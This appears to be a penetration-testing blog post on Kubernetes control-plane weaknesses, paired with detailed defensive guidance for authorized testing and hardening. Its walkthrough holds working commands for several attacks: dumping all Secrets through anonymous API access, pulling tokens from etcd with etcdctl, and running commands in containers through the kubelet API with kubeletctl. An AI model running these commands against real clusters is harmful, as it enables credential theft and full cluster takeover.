Legal & Ethical Disclaimer. This article is for education and authorized security testing only. Run these techniques exclusively against clusters you own or have explicit written permission to assess. Unauthorized access to computer systems is a crime in virtually every jurisdiction. You are responsible for your own actions.
Introduction / Overview
The Kubernetes control plane is the crown jewel of any cluster. The API server (kube-apiserver) is the single front door to every object, and etcd is the key-value store that holds all cluster state — including Secrets, in plaintext at rest unless encryption is explicitly configured. When either of these components is reachable without proper authentication, an attacker can move from "I found an open port" to "I own the entire cluster" in minutes.
This post walks through four recurring weaknesses I see on engagements: anonymous authentication on the API server, etcd secret extraction, abuse of the kubelet read/write API, and the classic exposed Kubernetes Dashboard. For each, we cover the mechanics, a PoC, and equally weighted blue-team defenses.
How it works / Background
Every request to kube-apiserver passes through three stages: authentication, authorization (RBAC by default), then admission control. The dangerous misconfigurations live in stage one. If --anonymous-auth=true (the historical default on the insecure port, and still configurable), unauthenticated requests are mapped to the user system:anonymous in group system:unauthenticated. RBAC should deny them, but operators frequently bind cluster-admin to system:unauthenticated or system:anonymous by accident.
etcd listens on TCP 2379 (client) and 2380 (peer). It stores Secrets at keys like /registry/secrets/<namespace>/<name>. If etcd is exposed without client-certificate authentication, anyone who can reach 2379 reads every Secret in the cluster.
The kubelet runs on every node and exposes an HTTP API on 10250 (and a deprecated read-only port 10255). With --anonymous-auth=true and --authorization-mode=AlwaysAllow, that API lets you list pods and execute commands inside containers — effectively kubectl exec with no credentials.
Prerequisites / Lab setup
Build a deliberately weak cluster with kind or minikube. Tooling you'll want:
# Recon and exploitation tooling
go install github.com/cyberark/kubeletctl/cmd@latest # kubelet API abuse
pip install kube-hunter # active/passive cluster scanning
curl -sLO https://github.com/etcd-io/etcd/releases/download/v3.5.16/etcd-v3.5.16-linux-amd64.tar.gzBashStart kube-hunter from a pod or an external host to enumerate exposed components:
kube-hunter --remote 10.0.0.10 # external scan against the control-plane nodeBashWalkthrough / PoC
1. Anonymous authentication on the API server
First, fingerprint the endpoint. The /version path is usually readable even on hardened clusters:
curl -sk https://10.0.0.10:6443/versionBashNow test whether anonymous users can list cluster-scoped objects. The API server returns 403 with the username it authenticated you as — read that message carefully:
# Can anonymous read secrets cluster-wide?
curl -sk https://10.0.0.10:6443/api/v1/namespaces/kube-system/secrets
# Equivalent with kubectl using an empty token
kubectl --server=https://10.0.0.10:6443 --insecure-skip-tls-verify \
--token="" auth can-i --listBashIf auth can-i --list returns more than selfsubjectreviews, the anonymous account is over-privileged. A misbinding like the one below is the jackpot — it grants cluster-admin to anyone:
# DO NOT deploy — this is the vulnerability we hunt for
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: anonymous-admin
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: User
name: system:anonymousYAMLWhen present, you simply dump every Secret:
curl -sk https://10.0.0.10:6443/api/v1/secrets | jq -r \
'.items[] | .metadata.namespace + "/" + .metadata.name + ": " +
(.data | to_entries | map(.key + "=" + (.value|@base64d)) | join(", "))'Bash2. Reading Secrets directly from etcd
If you land on a control-plane node (or etcd is exposed on the network), skip the API server entirely. Locate the client certs, then query etcd:
export ETCDCTL_API=3
etcdctl --endpoints=https://127.0.0.1:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets/kube-system/ --prefix --keys-onlyBashSecrets are stored as serialized Kubernetes objects (often protobuf). Pull a service-account token straight out:
etcdctl ... get /registry/secrets/default/default-token --print-value-onlyBashIf etcd has no client-cert requirement (--client-cert-auth=false), the exact same command works remotely with no --cert/--key at all — a total compromise.
3. Abusing the kubelet API
kubeletctl automates discovery and command execution against port 10250:
# Enumerate pods exposed by the kubelet
kubeletctl pods --server 10.0.0.20
# Find which containers allow exec, then run a command
kubeletctl scan rce --server 10.0.0.20
kubeletctl exec "id" --server 10.0.0.20 -p nginx -c nginxBashThe raw HTTP equivalent for the read-only port:
curl -sk https://10.0.0.20:10250/pods | jq '.items[].metadata.name'BashFrom a container you control, the prize is the mounted service-account token at /var/run/secrets/kubernetes.io/serviceaccount/token, which you replay against the API server.
4. Exposed Kubernetes Dashboard
Pre-2.0 dashboards and skip-login deployments grant the kubernetes-dashboard service account broad rights. Check for an exposed instance and whether it skips auth:
curl -sk https://10.0.0.10:30000/api/v1/namespaceBashIf the dashboard SA can read Secrets, you again recover tokens and escalate to cluster-admin. This maps to MITRE ATT&CK T1133 (External Remote Services) and T1078 (Valid Accounts).
Attack flow

The diagram shows how each independent weakness funnels toward the same outcome: recovering a privileged service-account token and replaying it for full cluster control.
Detection & Defense (Blue Team)
Defense matters as much as offense — close every path above.
Disable anonymous auth and audit RBAC. Set --anonymous-auth=false on the API server. Hunt for dangerous bindings:
kubectl get clusterrolebindings -o json | jq -r \
'.items[] | select(.subjects[]?.name | test("system:(anonymous|unauthenticated)"))
| .metadata.name'BashNever bind system:anonymous, system:unauthenticated, or the overly broad system:authenticated group to powerful roles.
Protect etcd. Require mutual TLS: --client-cert-auth=true, --peer-client-cert-auth=true, and bind etcd to 127.0.0.1 / a private peer network only. Enable encryption at rest so Secrets are not stored in plaintext, using an EncryptionConfiguration with aescbc or a KMS provider passed via --encryption-provider-config. Verify with:
etcdctl ... get /registry/secrets/default/<name> | hexdump -C | head
# Encrypted values begin with the prefix "k8s:enc:"BashLock down the kubelet. Set --anonymous-auth=false, --authorization-mode=Webhook, and disable the read-only port with --read-only-port=0. These are the defaults in modern kubeadm clusters — confirm they were not overridden.
Harden the Dashboard. Run Dashboard 2.x+ behind authentication, never expose it via NodePort/LoadBalancer, and bind its service account to a minimal Role rather than cluster-admin.
Detection. Enable API server audit logging (--audit-policy-file) and alert on requests where user.username is system:anonymous. Watch for unusual pods/exec and bulk secrets list events. Falco rules such as "Contact K8S API Server From Container" and "Anonymous Request Allowed" catch much of this in real time. Restrict control-plane ports (6443, 2379-2380, 10250) with NetworkPolicy and cloud security groups so they are never internet-facing.
For broader hardening guidance see my notes on securing container runtimes and service-account token abuse, plus the basics in pod security standards.
Conclusion
The Kubernetes control plane fails open in predictable ways: anonymous auth left enabled, etcd without mTLS or at-rest encryption, a chatty kubelet, and a forgotten dashboard. Each weakness independently yields service-account tokens that escalate to cluster-admin. Treat 6443, 2379-2380, and 10250 as the most sensitive ports in your estate — authenticate them, encrypt etcd, and audit RBAC relentlessly.
References
- MITRE ATT&CK for Containers — https://attack.mitre.org/matrices/enterprise/containers/
- Kubernetes — Controlling Access to the API — https://kubernetes.io/docs/concepts/security/controlling-access/
- Kubernetes — Encrypting Secret Data at Rest — https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
- Kubelet authentication/authorization — https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/
- HackTricks Cloud — Kubernetes Pentesting — https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security
- CyberArk kubeletctl — https://github.com/cyberark/kubeletctl
- kube-hunter — https://github.com/aquasecurity/kube-hunter
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments